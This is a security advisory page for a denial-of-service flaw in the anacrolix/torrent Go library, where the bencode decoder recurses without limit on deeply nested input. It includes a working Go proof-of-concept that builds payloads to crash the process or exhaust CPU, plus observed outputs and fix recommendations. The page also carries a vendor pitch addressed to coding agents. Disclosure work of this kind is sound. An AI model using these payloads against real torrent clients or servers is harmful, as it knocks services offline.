# GHSA-2WRX-84QJ-4PCG: anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS

Affects github.com/anacrolix/torrent before 1.61.1-0.20260911233437-76452a2c8a2f in clients that accept metadata from peers for magnet/v2 downloads. The fix is in 1.61.1-0.20260911233437-76452a2c8a2f.

- Severity: medium (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Exposure: Specific setups only
- Fixed in: 1.61.1-0.20260911233437-76452a2c8a2f
- Published: 2026-10-30 · Updated: 2026-10-30

## Summary

The anacrolix/torrent Go library, which is used by applications that parse BitTorrent metainfo (including its command-line tools and any server or client that opens .torrent files or accepts metadata from peers for magnet/v2 downloads), is affected by this flaw. A specially crafted torrent file or peer-supplied metadata with extremely deeply nested structures can crash the process from stack overflow or consume excessive CPU time during decoding, causing denial of service.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/anacrolix/torrent (Go): fixed in 1.61.1-0.20260911233437-76452a2c8a2f

## Description

## Summary anacrolix/torrent's bencode decoder (`bencode/`) applies **no limit on the nesting depth** of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted `.torrent` file or from metadata obtained from a peer on a magnet-link/v2 download: 1. **Stack-overflow process crash.** `Decoder.readOneValue` recurses once per nesting level with no depth bound. A `.torrent` whose `info` value is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable `fatal error: stack overflow`. 2. **Quadratic CPU exhaustion.** `metainfo.FileTree.UnmarshalBencode` (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time. Affected: every application embedding `github.com/anacrolix/torrent` that ingests attacker-supplied metainfo - the CLI tools (`cmd/torrent`, `cmd/torrent2`), any server that opens `.torrent` files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder. ## Vulnerability Details All file:line references are against the pinned commit `4ad31c5170787215c51c6ddaa54abc06b623c11c`. ### Root cause - no recursion/depth limit in the bencode decoder `bencode/decode.go` implements three independently unbounded recursive parsers. There is no depth counter and no `MaxDepth`/nesting guard anywhere in `bencode/` or `metainfo/`. **Defect 1 - `readOneValue` recursion (`bencode/decode.go:546-549`)** ```go case 'd', 'l': // read until there is nothing to read for d.readOneValue() { } // <- recurses once per nested dict/list level, unbounded ``` `readOneValue` is invoked by `Decoder.parseUnmarshaler` (`bencode/decode.go:591`) whenever a decoded field implements `bencode.Unmarshaler`, which includes `bencode.Bytes` - the type of `MetaInfo.InfoBytes` (`metainfo/metainfo.go:17`). So decoding a normal `.torrent` routes the entire `info` value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting `l` a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a `fatal error` - it is not a recoverable panic, so the `recover()` in `Decoder.Decode` (`bencode/decode.go:35-55`) cannot intercept it, and the whole process terminates. Entry points that reach `readOneValue` with attacker-controlled bytes: - `metainfo.Load` (`metainfo/metainfo.go:35`) / `metainfo.LoadFromFile` (`metainfo.go:50`) - decoding a `.torrent` file; the `info` value becomes a `bencode.Bytes` unmarshaler field. - `Client.AddTorrent` / `Client.AddTorrentFromFile` -> `metainfo.LoadFromFile` (`client.go:1776` inside `AddTorrentFromFile`), and `TorrentSpec.InfoBytes` -> `setInfoBytesLocked` -> `bencode.Unmarshal(b, &info)` (`torrent.go:638`) - peer-fetched metadata. For the **remote-peer path** (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to `setInfoBytesLocked` once complete (`torrent.go:1874`). The accepted metadata size is capped at `maxMetadataSize = 16 MiB` (`global.go:18`), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened `.torrent`. **Defect 2 - `FileTree.UnmarshalBencode` recursive re-parse (`metainfo/file-tree.go:42-49`)** ```go for key, bytes := range dir { var sub FileTree err = sub.UnmarshalBencode(bytes) // <- recurses once per file-tree level, and each call re-runs // bencode.Unmarshal over its entire subtree ``` `FileTree` implements `bencode.Unmarshaler` (`file-tree.go:53`), so the `file tree` field of a v2 info dict (`metainfo/info.go:33`) routes through it. Each level calls `sub.UnmarshalBencode`, which starts with `bencode.Unmarshal(bytes, &dir)` over the *whole remaining subtree*. A file tree nested `D` levels deep therefore performs O(D) `bencode.Unmarshal` calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs. Reachability: any `bencode.Unmarshal` into `metainfo.Info`, including the peer-metadata path `setInfoBytesLocked` (`torrent.go:638`) for a magnet/v2 download, and `MetaInfo.UnmarshalInfo` (`metainfo/metainfo.go:61-64`). ### Sanitizers / existing limits that do NOT apply - `Decoder.MaxStrLen` (`bencode/decode.go:787-791`, default 128 MiB) bounds a *single string value*; it is never consulted by `readOneValue` (`decode.go:564` does `io.CopyN(&d.buf, d.r, length)` with no `MaxStrLen` check) and does not bound dict/list nesting depth. - The existing fuzzers (`bencode/fuzz_test.go`) only round-trip `interface{}` values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them. ## Impact - **Denial of service / availability (complete process crash).** A single ~8 MB `.torrent` file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with `fatal error: stack overflow` (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies. - **Denial of service / availability (CPU starvation).** A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2). Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - `global.go:18`) or a local user opening a malicious `.torrent`. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative `UI:R`). Headline CVSS 3.1 base `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` = **6.5** (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes `N`, raising it to 7.5. CWE-674 (`Uncontrolled Recursion`) is the precise root cause for Defect 1; CWE-407 (`Inefficient Algorithmic Complexity`) covers Defect 2. Per-metric justification (headline 6.5 vector, `UI:R`): - **Attack Vector (AV): Network** - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a `.torrent` file opened by any client of the library; no local access required. - **Attack Complexity (AC): Low** - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment. - **Privileges Required (PR): None** - feeding metainfo to the decoder is the unprivileged, public API usage. - **User Interaction (UI): Required** - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5). - **Scope (S): Unchanged** - the impacted security authority is the embedding process itself. - **Confidentiality (C): None** - no data disclosure. - **Integrity (I): None** - no data modification. - **Availability (A): High** - Defect 1 terminates the process with `fatal error: stack overflow` (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling. ## Reproduction Steps All runs are local-only within the test host; nothing contacts a network. ### Environment and single harness The harness is a single Go program (`go test`-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces **both** defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run): ```bash go mod init torrent_recursion_dos go mod edit -require github.com/anacrolix/torrent@v1.61.0 go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout go test -run TestDefect1_StackOverflow -v . go test -run TestDefect2_CPUExhaustion -v . ``` Harness (`torrent_recursion_dos_test.go`, placed in a temp module that imports the local clone): ```go package torrent_recursion_dos import ( "bytes" "fmt" "os" "testing" "github.com/anacrolix/torrent/bencode" "github.com/anacrolix/torrent/metainfo" ) // buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a // valid .torrent: { "info": <that list> }. func buildInfo(depth int, mode byte) []byte { var b bytes.Buffer b.WriteString("d4:infod") for i := 0; i < depth; i++ { b.WriteByte(mode) // 'l' for a nested list } for i := 0; i < depth; i++ { b.WriteByte('e') } b.WriteString("ee") return b.Bytes() } // buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key // dicts around a valid 32-byte-pieces-root file leaf. func buildV2Info(depth int) []byte { leaf := map[string]interface{}{ "": map[string]interface{}{ "length": 5, "pieces root": string(bytes.Repeat([]byte{'A'}, 32)), }, } node := leaf for i := 0; i < depth; i++ { node = map[string]interface{}{"a": node} } info := map[string]interface{}{ "meta version": 2, "piece length": 32768, "file tree": node, } out, _ := bencode.Marshal(info) return out } // Defect 1: metainfo.Load on a .torrent with a deeply nested info list // derives a fatal `goroutine stack exceeds 1000000000-byte limit`. func TestDefect1_StackOverflow(t *testing.T) { depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs in := buildInfo(depth, 'l') if len(os.Getenv("SKIP_CRASH")) == 0 { // Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so // this drives readOneValue recursion. Crashes the process. _, err := metainfo.Load(bytes.NewReader(in)) _ = err } fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth) } // Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic. func TestDefect2_CPUExhaustion(t *testing.T) { depth := 30_000 // ~0.2 MB; ~66 s on this machine src := buildV2Info(depth) var info metainfo.Info if err := bencode.Unmarshal(src, &info); err != nil { t.Fatal(err) } fmt.Println("[defect2] parsed deep v2 file tree") } ``` Observations with the pinned commit (Go 1.26, laptop): ``` # TestDefect1 - process aborts, unrecoverable: runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow [exit status 2] # TestDefect2 - wall-clock parse time (single-threaded): depth=30_000 => ~66 s depth=60_000 => >90 s (timeout) ``` To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the `metainfo.Load` API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as `d4:infod` + 4,000,000 `l` + 4,000,000 `e` + `ee`: ```bash ./cmd/torrent -seed -metainfo ./crash.torrent # crashes ``` The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon). ## Recommendations 1. **Add a nesting-depth limit to the decoder** (recommended, fixes both defects). Thread a depth counter through `parseValue` / `parseDict` / `parseList` / `parseValueInterface` / `parseListInterface` / `parseDictInterface` / `readOneValue`, and return a `SyntaxError` when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on `Decoder` like the existing `MaxStrLen` (`bencode/decode.go:21-32`). 2. **Make `readOneValue` length-aware.** Apply the same `MaxStrLen` bound to the `io.CopyN(&d.buf, d.r, length)` at `bencode/decode.go:564` instead of trusting the raw length field, so oversized bulk fields fail as `SyntaxError` instead of being buffered. 3. **Break the O(n²) in `FileTree.UnmarshalBencode`.** Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running `bencode.Unmarshal` on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. **Convert fatal overflow into a recoverable error.** Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on `recover()` - a stack overflow is `fatal` and unrecoverable in Go. 5. **Fuzz with depth in mind.** Add a fuzz seed / corpus that includes deeply nested `d`/`l` values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit. ## References - Source (pinned): `https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c` - Unbounded recursion: `bencode/decode.go:546-549`, `bencode/decode.go:591` - File-tree recursion: `metainfo/file-tree.go:42-49` - Public entry points: `metainfo/metainfo.go:35-50`, `client.go:1776`, `torrent.go:638` - Missing `MaxStrLen` in bulk read: `bencode/decode.go:564` - Metadata size cap (remote reachability): `global.go:18`, reassembly call `torrent.go:1874` - Prior hardening in this codebase (unrelated to this class, recorded for completeness): - v2 pieces-root panic fix: commit `7218a979` ("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit via `misc.go:92` -> `file-tree.go:164`. - Path-traversal safeguards in storage (`storage/file-paths.go:32` `isSubFilepath`, `storage/safe-path.go:16` `ToSafeFilePath`) - inspected and found to hold (not the issue here). - No published advisory found: OSV.dev and NVD return no records for the package (`github.com/anacrolix/torrent`, purl `pkg:golang/github.com/anacrolix/torrent`); the Go ecosystem advisory database lists none.

## What to do

- Check your stack: if you ship or depend on github.com/anacrolix/torrent, upgrade to a fixed version (1.61.1-0.20260911233437-76452a2c8a2f) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-2WRX-84QJ-4PCG

## FAQ

### What does this mean?

A deeply nested bencode input makes the decoder recurse without limit. This can crash the process with an unrecoverable stack overflow, or pin a CPU core during quadratic decoding of a deeply nested v2 file tree.

Source: https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg

### Am I affected, and how do I check?

Versions of github.com/anacrolix/torrent before 1.61.1-0.20260911233437-76452a2c8a2f are in scope. The exposed setup is a client that accepts metadata from a peer for a magnet/v2 download. To check a project's version, run go list -m github.com/anacrolix/torrent or look at the module line in go.mod.

Source: https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg

### What should I do about it?

Upgrade github.com/anacrolix/torrent to 1.61.1-0.20260911233437-76452a2c8a2f or later.

Source: https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg

### Is it being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-2WRX-84QJ-4PCG

## Related

- Browse: [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg
- https://github.com/anacrolix/torrent/commit/76452a2c8a2fd9c59d4d4f10fc3495723d538c7b
- https://github.com/anacrolix/torrent

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-2WRX-84QJ-4PCG
JSON: https://cve.now/api/v1/entries/GHSA-2WRX-84QJ-4PCG
Uses NVD data; not endorsed by NVD.
